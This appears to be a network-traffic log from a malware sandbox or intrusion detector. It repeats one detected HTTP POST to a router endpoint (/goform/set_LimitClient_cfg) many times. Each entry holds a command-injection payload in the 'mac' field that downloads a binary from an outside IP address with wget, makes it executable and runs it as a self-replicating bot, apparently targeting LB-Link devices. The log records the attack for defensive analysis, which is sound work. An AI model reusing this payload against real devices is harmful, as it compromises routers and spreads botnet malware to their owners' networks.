Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
